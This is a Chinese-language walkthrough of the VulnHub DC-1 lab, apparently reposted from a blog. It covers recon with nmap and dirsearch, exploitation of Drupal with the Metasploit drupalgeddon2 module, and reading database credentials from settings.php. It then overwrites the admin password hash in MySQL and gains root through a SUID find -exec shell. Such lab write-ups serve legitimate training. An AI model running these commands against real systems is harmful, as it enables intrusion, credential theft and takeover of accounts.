自学内容网 自学内容网

vulnhub靶场之DC-1

1 信息收集

1.1 主机发现

arp-scan -l 

主机ip地址为:192.168.1.4

1.2 端口服务扫描

nmap -sS -sV -A -T5 -p- 192.168.1.4  

开发22,80,111端口

1.3 目录扫描

dirsearch -u 192.168.1.4 

2 渗透测试

2.1 先访问一下80端口 发现是一个CMS 下标有个Drupal

2.2 搜了一下相关的drupal 漏洞

search drupal

2.3 利用漏洞插件进行攻击

use exploit/unix/webapp/drupal_drupalgeddon2  
set rhosts 192.168.1.4
run

2.4 漏洞利用

进入后渗透模块 ls 查看 有i个flag1.txt cat一下 提示:让我们看一下配置文件 durpal配置 /sites/default/settings.php

进入durpa配置文件在 settings.php 发现 flag2 和数据库一些信息

cd sites/default/
ls
cat settings.php

使用netstat -anptl查看3306是否开放,结果只允许本地连接

写一个python交互:

python -c "import pty;pty.spawn('/bin/bash')"

然后登入数据库 mysql -u 用户名 -p 密码 即可。

mysql -u dbuser -p
R0ck3t

show databases; ##列出数据库
use drupaldb;  ##使用drupaldb库
show tables; ##查看里面的表

发现有个users表,大胆猜测里面就是用户了,查看一下

select * from users;

$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ
$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ

这个时候想要知道密码就很头疼了,能想到的也就两个思路,要么修改密码,要么添加新用户。在这里我用的是修改密码。 首先我们要知道加密方式,然后利用加密方式设置新密码,自动生成密文,然后更改数据库里的密文即可,此时我灵光一现直接百度参考drupal数据库存放用户密码的加密脚本文件,直接就找到了。

/var/www/scripts/password-hash.sh

我们exit退出数据库,然后查看一下

还真有,这就好办了,直接设置密码生成密文就好了。

php /var/www/scripts/password-hash.sh password

后面那一串密文就是我们加密过的密码,此时我们把它复制一下,重新进入数据库更改admin用户的密码

update drupaldb.users set pass="$S$DrKONtJsaTqIyRcBMT2ZseHVp1Rq1tpcJwM8.49a5rnTJAqpwGLK" where name="admin"; ##修改密码

此时我们直接在web端的登陆页面用admin登进去,就可以随意查看网页了。

Flag3提示词有perms、find、-exec、shadow共四个特殊提示词

3 提权

cat /etc/passwd 发现了一个用户 `flag4

3.1 suid提权

这里我们就要用到find命令了,利用suid提权

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以上三条命令都可以查看到具有suid权限的文件

使用find命令提权

find ./ aaa -exec '/bin/sh' \;


原文地址:https://blog.csdn.net/weixin_45653478/article/details/140169919

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!